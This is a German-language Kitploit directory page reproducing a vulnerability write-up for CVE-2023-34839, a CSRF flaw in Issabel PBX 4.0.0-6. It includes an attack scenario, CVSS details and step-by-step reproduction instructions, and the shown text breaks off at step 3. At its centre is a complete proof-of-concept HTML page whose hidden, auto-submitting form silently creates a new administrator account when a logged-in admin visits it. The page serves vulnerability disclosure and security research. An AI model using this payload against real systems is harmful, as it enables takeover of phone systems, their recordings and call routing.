Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-34839 — CVE-2023-34839 ist eine Cross-Site Request Forgery (CSRF)-Schwachstelle, die in Issabel PBX Version 4.0.0-6 entdeckt wurde, einer weit verbreiteten Open-Source-Plattform für Unified Communications. | Kitploit
Tools/GitHubGitHub/sahiloj/cve-2023-34839
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsPapers & ForschungLernen & Bildung
GitHubsahiloj/cve-2023-34839

CVE-2023-34839

CVE-2023-34839 ist eine Cross-Site Request Forgery (CSRF)-Schwachstelle, die in Issabel PBX Version 4.0.0-6 entdeckt wurde, einer weit verbreiteten Open-Source-Plattform für Unified Communications.

Repository anzeigen
5312vor 7 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2023-34839 — Issabel PBX 4.0.0-6: CSRF zu Privilegieneskalation

CVE Severity CVSS Affected Version


Inhaltsverzeichnis

  • Übersicht
  • Details zur Schwachstelle
  • Betroffene Software
  • CVSS-Score
  • Angriffsszenario
  • Proof of Concept (PoC)
  • Schritte zum Reproduzieren
  • Auswirkungen
  • Behebung
  • Referenzen
  • Haftungsausschluss

Übersicht

CVE-2023-34839 ist eine Cross-Site-Request-Forgery-Schwachstelle (CSRF), die in Issabel PBX Version 4.0.0-6 entdeckt wurde, einer weit verbreiteten Open-Source-Plattform für Unified Communications. Die Schwachstelle befindet sich im Endpunkt der Benutzerverwaltung und ermöglicht einem nicht authentifizierten Remote-Angreifer, stillschweigend ein neues Administratorkonto zu erstellen, indem er einen aktuell authentifizierten Administrator dazu bringt, eine speziell gestaltete Webseite zu besuchen.

FeldWert
CVE-KennungCVE-2023-34839
Datum23. Juni 2023
ForscherSahil Ojha
AnbieterIssabel
ProduktIssabel PBX
Version4.0.0-6
Getestet aufWindows

Details zur Schwachstelle

Issabel PBX 4.0.0-6 implementiert keinen CSRF-Schutz (z. B. Synchronizer-Tokens, SameSite-Cookie-Attribute oder eine Validierung der Origin- / Referer-Header) am Endpunkt Benutzererstellung:

POST /index.php?menu=userlist&action=new

Da die Anwendung für die Authentifizierung ausschließlich auf Session-Cookies setzt und keine Validierung zustandsändernder Anfragen durchführt, wird eine manipulierte POST-Anfrage, die von beliebiger Herkunft gesendet wird, akzeptiert und mit den vollen Rechten der angemeldeten Administrator-Sitzung verarbeitet.

Grundursache: Fehlende Validierung von Anti-CSRF-Tokens bei zustandsändernden administrativen Endpunkten.

Schwachstellenklasse: CWE-352 — Cross-Site Request Forgery (CSRF)


Betroffene Software

SoftwareVersionStatus
Issabel PBX4.0.0-6Verwundbar ✔
  • Anbieter-Website: https://www.issabel.org/
  • Quellcode: https://github.com/IssabelFoundation/issabelPBX

CVSS-Score

MetrikWert
CVSS v3.1-VektorAV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Basis-Score8.8 (Hoch)
AngriffsvektorNetzwerk
AngriffskomplexitätNiedrig
Erforderliche PrivilegienKeine
BenutzerinteraktionErforderlich (Administrator-Besuch)
ScopeUnverändert
VertraulichkeitHoch
IntegritätHoch
VerfügbarkeitHoch

Angriffsszenario

Ein Angreifer kann diese Schwachstelle durch die folgenden Schritte auf hoher Ebene ausnutzen:

  1. Erstellen einer bösartigen HTML-Seite, die ein verstecktes Formular enthält, das auf den Endpunkt zur Benutzererstellung der Issabel-PBX abzielt, mit vom Angreifer kontrollierten Werten (Benutzername, Passwort, Gruppe = Administrator).
  2. Hosten der bösartigen Seite auf einem Server oder Senden an den Ziel-Administrator per Phishing-E-Mail, Chat-Nachricht oder über einen anderen Social-Engineering-Vektor.
  3. Warten, bis der Administrator den Link öffnet, während eine aktive, authentifizierte Sitzung mit der Issabel-PBX-Anwendung besteht.
  4. Der Browser sendet das Formular automatisch ab – unter Verwendung des vorhandenen Session-Cookies des Opfers –, sodass die Anwendung stillschweigend ein neues Administratorkonto erstellt.
  5. Der Angreifer meldet sich mit den neu erstellten Anmeldedaten an und erhält vollen Administratorzugriff auf das PBX-System, einschließlich Anrufrouting, Aufzeichnungen, SIP-Trunk-Konfiguration und aller Systemeinstellungen.

Vom Opfer ist keine andere Interaktion als der Besuch einer einzelnen Seite erforderlich.


Proof of Concept (PoC)

⚠️ Nur für Bildungszwecke und autorisierte Tests.
Ersetzen Sie localhost durch den Hostnamen oder die IP-Adresse der Ziel-Issabel-PBX-Instanz.
Wenn Sie gegen einen https://-Endpunkt mit einem selbstsignierten Zertifikat testen, müssen Sie zuerst die Ziel-URL im selben Browser aufrufen und die Zertifikatswarnung akzeptieren; andernfalls blockiert der Browser die Cross-Origin-Formularübermittlung.

<html>
  <!-- CSRF Exploit — CVE-2023-34839 -->
  <body>
    <form action="https://localhost/index.php?menu=userlist&action=new" method="POST">
      <input type="hidden" name="save"             value="Save" />
      <input type="hidden" name="name"             value="CSRF" />
      <input type="hidden" name="description"      value="CSRF Test Account" />
      <input type="hidden" name="password1"        value="Test@123" />
      <input type="hidden" name="password2"        value="Test@123" />
      <input type="hidden" name="group"            value="1" />   <!-- 1 = Administrator -->
      <input type="hidden" name="extension"        value="" />
      <input type="hidden" name="webmailuser"      value="" />
      <input type="hidden" name="webmaildomain"    value="" />
      <input type="hidden" name="webmailpassword1" value="" />
      <input type="hidden" name="id_user"          value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Die Exploit-Datei ist auch in diesem Repository verfügbar: CSRF Exploit.html


Schritte zum Reproduzieren

Voraussetzungen

  • Eine laufende Issabel-PBX-4.0.0-6-Instanz.
  • Ein Administratorkonto mit einer aktiven Browser-Sitzung.
  • Ein Browser auf demselben Rechner wie die Administrator-Sitzung.

Schritt 1 — Als Administrator bei Issabel PBX anmelden

Navigieren Sie zur Weboberfläche der Issabel-PBX und melden Sie sich mit Administrator-Anmeldedaten an.

Issabel-PBX-Anmeldung


Schritt 2 — Den CSRF-Exploit vorbereiten

Kopieren Sie den obigen PoC-HTML-Code und speichern Sie ihn als .html-Datei, wobei Sie localhost durch den tatsächlichen Hostnamen oder die IP-Adresse der Ziel-Issabel-Instanz ersetzen.

Der Exploit verwendet versteckte Formularfelder, um stillschweigend eine POST-Anfrage zur Erstellung eines neuen Benutzers an die Anwendung zu senden. Beim Laden der Seite sendet das eingebettete JavaScript das Formular sofort ab, ohne dass eine sichtbare Benutzeraktion erforderlich ist.

CSRF-Exploit-HTML


Schritt 3 — Den Exploit im selben Browser öffnen

Tool herunterladen